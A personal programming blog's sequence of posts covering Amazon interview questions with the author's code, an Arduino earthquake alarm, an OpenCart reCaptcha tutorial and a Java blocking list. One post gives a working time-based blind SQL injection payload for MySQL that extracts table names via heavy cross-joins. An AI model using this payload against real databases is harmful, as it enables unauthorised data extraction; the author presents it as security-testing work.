Amazon.com Interview!!!! Yeah you heard it, Amazon.com! - 3

Thanks to almighty god, I was contacted by Kristin on Friday (24/08/2012) and invited for the 3rd interview which was held on today (30/08/2012).

A Software Development Engineer named Armin contacted me and as usual he asked some general questions followed by technical questions.One of the main questions was;

Given integer array and number k find the two numbers in the array which will add up and become equal to k

The solution I wrote was as below.

int [] inA = new int[6]{1,2,3,4,5,6};
int k = 2

 int[] find ( int[] inArray, int k ) {
     int n1, n2;
     outer:
     for(int i=0;i<inArray.length;i++) {
         for(int j=0;j<inArray.length;j++) {
             if((inArray[i] + inArray[j]) == k && i != j) {
                 n1 = inArray[i];
                 n2 = inArray[j];
                 break outer;
             }
         }
     }
     
     if(n1 == 0 && n2 == 0) {
         return null;
     }
     
     return new int[] { n1, n2 };
 }

The complexity is O(n^2) and Armin was ok with it. Then he asked me whether I have any questions and I asked about my prospective line of work there. He said it will be mostly Payment Transaction processing related development. Anyhow I am thankful to god for giving me this entire experience.

Amazon.com Interview!!!! Yeah you heard it, Amazon.com! - 2

Thanks to all mighty god. I got through the first phone interview and was emailed on 17/08/2012 by Kristin to schedule a second phone interview. Usually Amazon has 3 phone interviews prior to an onsite interview. I fixed the next interview to be on Yesterday (21/08/2012) at 9.00 a.m. PT which is 9.30 p.m. local time.

A Software Development Engineer named Pascal Schoenhardt phoned me and he asked some General Questions first. Followed by a technical question which was;

How to traverse a binary tree level by level.

my answer was in Pseudo Code

Function traverse(Node n)
       list.add(n)
       
       while(list not empty) 
           Node n = list.get()
           Print n.value
           
           if(n.leftChild not null)
               list.add(n.leftChild)
           if(n.rightChild not null)
               list.add(n.rightChild)

He seemed ok with the answer. Then he asked me whether I had any questions and I asked about the work environment at Amazon. He explained alot and it seems like a fun place to work in. Then he gave me a Take Home question and asked me to reply to his Email Address the Solution. The problem was


Given:

A log from a website, where each line is a 2-or-3 element CSV sequence containing:
SessionID,Page URL,[Optional Error Code]
The error code field will be populated if an error occurred while the page was loading.
    
Problem:

Parse the log, and produce a list of three page sequences in which lead to an error, 
sorted by occurrance (highest first). That is, every time an error occurs, if the 
sessions in which it occurred has at least two previous successful page loads, we 
have a new three page sequence leading to an error. We are only interested in three 
page sequences. The customer may continue to browse after encountering an error.

Assumptions:

- You have a function getNextLogLine() which returns a CSV string, or null if the end of the log is reached.
- You may assume that you have all of the standard data structures available to you in library form.

Example:

Log File
    123,/products/a.html
    456,/products/a.html
    789,/products/d.html
    789,/products/a.html
    123,/products/b.html
    789,/products/c.html
    456,/products/b.html
    789,/products/d.html,Err2
    123,/products/c.html,Err1
    456,/products/c.html,Err1

Sample Output:            (3 page sequence)                (err)  (count)
    {/products/a.html, /products/b.html, /products/c.html}, Err1, 2
    {/products/a.html, /products/c.html, /products/d.html}, Err2, 1


I was staying awake and wrote the solution and mailed him back with the answer. The interview was a great experience and as always I am thankful to god for giving me this opportunity.

Amazon.com Interview!!!! Yeah you heard it, Amazon.com!

What a night? All praise to god for giving me this opportunity. I was contacted by a Amazon.com recruiting coordinator named Kristin last week explaining that their Recruiting Manager has apparently seen my CV on monster.com and really interested to have a phone interview with me. I was over the moon! but to my horror I didn't see a reply up until last Tuesday but then Kristin finally contacted me and fixed a date for a phone interview. I decided the date to be Thursday 9.00 a.m. PT.

A Software Development Engineer named Yanlin phoned me and we had the interview for approximately one hour. The guy is really nice and asked me general as well as technical questions. One of the major coding questions was the following

Given two arrays of numbers of same size.  For elements in one array, assume that you can always find a matching element in the other array, except for one element.  So what you got is two elements that differ from each other and all rest should match in the two arrays.  Write a function to print out these two numbers.

My solution which I wrote within 15 minutes is as follows. Not the ideal or most efficient one but it works ;).

public static void findNonMatching(int[] a, int[] b) {
    if(a.length != b.length) {
        return;  // Yan - given the question requirement, validation check.
    }
    
     // Yan - optimize when
     for(int i=0;i<a.length;i++) {
         boolean foundEqualA = false;
         boolean foundEqualB = false;
         inner1:
         for(int j=0;j<b.length;j++) {
             if(a[i] == b[j]) {
                 foundEqualA = true;
                 break inner1;
             }
         }
         inner2:
         for(int j=0;j<b.length;j++) {
             if(b[i] == a[j]) {
                 foundEqualB = true;
                 break inner2;
             }
         }
         if(!foundEqualA) {
             System.out.println("In A " +a[i]);             
         }
         if(!foundEqualB) {
             System.out.println("In B " +b[i]);
         }
     }

}

The complexity is O(n^2). You can see comments by Yanlin himself.Anyway I am quite happy and thankful to god for giving me this opportunity. As the famous saying says "Experience is what you get, When you didn't get what you want". Even if I don't get this the experience will be there for a life time.

Low Cost Earth Quake Alarm using Arduino

Yesterday (11th of April 2012) was the first time I have ever experienced an Earth Quake in my life. It was strange because Sri Lanka is said to be a country less prone for Earth Quakes and there hasn't been one as violent as yesterday's one for at least 2 decades.

Even though most of the buildings were shaking along with the things inside for about 50 - 60 seconds, many people haven't noticed the shakes, may be due to the inexperience with Earth Quakes or due to confusion. But the most concerning thing is almost all Sri Lankan buildings are not Earth Quake safe like those in Japan. So feeling the Earth Quake and leaving the building as early as possible is crucial. Especially during night time where people will be sleeping.

For this reason I was inspired to create a Low Cost Earth Quake Alarm which will help those who can't feel an Earth Quake to get out in time and be safe.

I managed to build a small prototype using things lying around in my hack space which are;

1. Arduino (Any Model)
2. One Tilt Switch
3. One Buzzer or Piezo Speaker
4. One 1K Resistor
5. 6 Jumper Cables

With the above components I built the below prototype

And used the following arduino sketch to detect changes in Tilt Switch which is connected to analog in pin A0 and if it exceeds a predefined threshold for a predefined period of time, alarm using the Piezo Speaker or Buzzer which is connected to pin no 10 which has PWM.

##############################
##     Shazin Sadakath      ##
##############################

#define TILT_SWITCH_PIN A0
#define BUZZER_PIN 10
#define MAX 100
int tiltValue = 0;
int previousTiltValue = 0;
int valueThreshold = 5;
int timeThreshold = 2 ;
int time = 0;

void setup() 
{
   pinMode(BUZZER_PIN, OUTPUT);
}

void loop() 
{
  tiltValue = analogRead(TILT_SWITCH_PIN);
  if(abs(tiltValue - previousTiltValue) >= valueThreshold)
  {
    time = time + 1;
  }
  else
  {
    reset();
  }
  if(time >= timeThreshold) 
  {
   analogWrite(BUZZER_PIN, MAX);
   delay(500);
   reset();
  }
  previousTiltValue = tiltValue;
  delay(500);
}

void reset() 
{
 time = 0;
 previousTiltValue = 0; 
 analogWrite(BUZZER_PIN, 0);
}

Finally I tested this with some minor shakes and it works. The alarm is going off until the shaking stops completely.



In Sri Lanka we can't buy off the shelf Commercial, Highly Accurate Earth Quake Detectors or Alarms yet so this prototype would be a life saver. Mounting this on a wall or on the roof where it is less like to be disturbed by people's movement and covering it in a box would make it less likely to produce false alarms.

Constructive Criticism is always welcome!

reCaptcha Captcha in Open Cart Register Page

It has been quite a while since I posted anything on my blog. Recently I have been working on my small business web site and used opencart to create that web site. But by default Open Cart doesn't have a captcha for registering. Due to high no of bots available to create false accounts, it is a must to have captcha.

There is a post in Open Cart forum which shows how to enable opencart default captcha library in the registration page. But I wanted to use recaptcha which is much more hard to crack using image processing bots, has a built in audio playback and more importantly each time someone uses it in the back end they are helping to digitize scanned pages of books.

You need to register in recaptcha to get a public and private key for your domain name. After that you need to download the php library for recaptcha.

Step 1 :

Put the downloaded recaptchalib.php in /system directory

Step 2 :

Go to /catalog/view/theme/default or your custom theme folder /template/account/ and open register.tpl

Find the below code

    <h2><?php echo $text_newsletter; ?></h2>
        <div class="content">
          <table class="form">
            <tr>
              <td><?php echo $entry_newsletter; ?></td>
              <td><?php if ($newsletter == 1) { ?>
                <input type="radio" name="newsletter" value="1" checked="checked" />
                <?php echo $text_yes; ?>
                <input type="radio" name="newsletter" value="0" />
                <?php echo $text_no; ?>
                <?php } else { ?>
                <input type="radio" name="newsletter" value="1" />
                <?php echo $text_yes; ?>
                <input type="radio" name="newsletter" value="0" checked="checked" />
                <?php echo $text_no; ?>
                <?php } ?></td>
            </tr>
    </table>
    </div>

and put this below

<div class="content">
&nbsp;<span class="required">*</span>   <b><?php echo $entry_captcha; ?></b><br />
    <?php
          require_once('system/recaptchalib.php');
          $publickey = "<Your Public Key>"; // you got this from the signup page
          echo recaptcha_get_html($publickey);
        ?>

    <span class="error"><?php echo $error_captcha; ?></span>
</div>

Step 3 :

Go to catalog/language/english/account.register.php and find this line

$_['entry_confirm']        = 'Password Confirm:';

and put this below

$_['entry_captcha']        = 'Enter the code in the box below:';

and find this line

$_['error_agree']          = 'Warning: You must agree to the %s!';

and put this below

$_['error_captcha']        = 'The captcha code was entered incorrectly, please try again!';

Step 4 :

Go to catalog/controller/account/register.php and find this line

$this->data['button_continue'] = $this->language->get('button_continue');

and put this line below

$this->data['entry_captcha'] = $this->language->get('entry_captcha');

find this line

if (isset($this->error['zone'])) {
    $this->data['error_zone'] = $this->error['zone'];
} else {
    $this->data['error_zone'] = '';
}

and put this below

if (isset($this->error['captcha'])) {
    $this->data['error_captcha'] = $this->error['captcha'];
} else {
    $this->data['error_captcha'] = '';
}

find this line

if (isset($this->request->post['newsletter'])) {
    $this->data['newsletter'] = $this->request->post['newsletter'];
} else {
    $this->data['newsletter'] = '';
}

and put this below

if (isset($this->request->post['captcha'])) {
    $this->data['captcha'] = $this->request->post['captcha'];
} else {
    $this->data['captcha'] = '';
}

find this line

private function validate() {
if ((strlen(utf8_decode($this->request->post['firstname'])) < 1) || (strlen(utf8_decode($this->request->post['firstname'])) > 32)) {
    $this->error['firstname'] = $this->language->get('error_firstname');
}

and put this below

require_once('system/recaptchalib.php');
$privatekey = "<Private Key>";
$resp = recaptcha_check_answer ($privatekey,
                      $_SERVER["REMOTE_ADDR"],
                      $_POST["recaptcha_challenge_field"],
                      $_POST["recaptcha_response_field"]);

if (!$resp->is_valid) {
    this->error['captcha'] = $this->language->get('error_captcha');
}

That's it. Now you should see the recaptcha captcha in your registration page!

Time Based SQL Injection using heavy queries in MySQL

During my work I had to test Time Based SQL Injection in MySQL. But many blogs showcased ways to achieve this using SLEEP() and BENCHMARK() routines. SLEEP() routine is not available in MySQL 4.0 so the correct routine should be used based on the MySQL version.

There is another approach for Time Based SQL Injection which is Time Based SQL Injection using heavy queries. This is used for Databases which do not have timing routines such Oracle.

But to test effectively both 4.0 and 5.0 versions of MySQL I had to write a Time Based SQL Injection using heavy queries. After some googling and reading articles I came up with the following query which produces a half a second delay.

SELECT * FROM <ANY TABLE NAME> WHERE 1=1 AND
(SELECT COUNT(*)
 FROM information_schema.columns AS col1
 NATURAL JOIN information_schema.columns AS col2,
information_schema.columns AS col3,
 information_schema.columns AS col4,
 information_schema.columns AS col5,
 information_schema.columns AS col6,
 information_schema.columns AS col7,
 information_schema.columns AS col8,
information_schema.columns AS col9,
information_schema.columns AS col10)=0
AND 300>
(SELECT ASCII(SUBSTRING(table_name,1,1))
 FROM information_schema.columns
 ORDER BY table_name
 LIMIT 1);

This was tested on MySQL 5.0 with information_schema.columns table containing 346 rows.

Thread Safe Blocking List

In Java Concurrent Package there are many useful concurrent synchronizer classes such as BlockingQueue, Semaphore, CountDownLatch and CyclicBarrier. But what if we want an bounded List with insertion order preserved where if the upper limit of the List is met new insertions must be blocked until some elements are removed. The following BlockingList implementation does exactly that. This List uses a Semaphore to synchronize the flow of adding and removing. When the maximum amount of elements are in the List and another call to add is made, the add will be blocked until an element is removed from the List.

import java.util.*;
import java.util.concurrent.*;

/**
 * @author Shazin Sadakath
 *
 */

public class BlockingList<T> {
    private final Semaphore semaphore;
    private final List<T> list = Collections.synchronizedList(new ArrayList<T>());

    public BlockingList(int max) {
        semaphore = new Semaphore(max);        
    }    

    public boolean add(T t) throws InterruptedException {
        semaphore.acquire();
        boolean result = false;
        try {
            result = list.add(t);
        } finally {
            if(!result) {
                semaphore.release();
            }
        }
        return result;
    }

    public T remove(int index) {
        T result = null;
        try {
            result = list.remove(index);
        } finally {
            if(result != null) {
                semaphore.release();
            }
        }
        return result;
    }

    public T get(int index) {
        return list.get(index);
    }

    public int indexOf(T t) {
        return list.indexOf(t);
    }

    public T removeIfPresent(T t) {
        T result = null;
        synchronized(list) {
            if(list.contains(t)) {
                result = remove(indexOf(t));
            }
        }
        return result;
    }

    public boolean putIfAbsent(T t) throws InterruptedException {
        boolean result = false;
        synchronized(list) {
            if(!list.contains(t) && semaphore.availablePermits() != 0) {
                result = add(t);
            }
        }    
        return result;
    }
}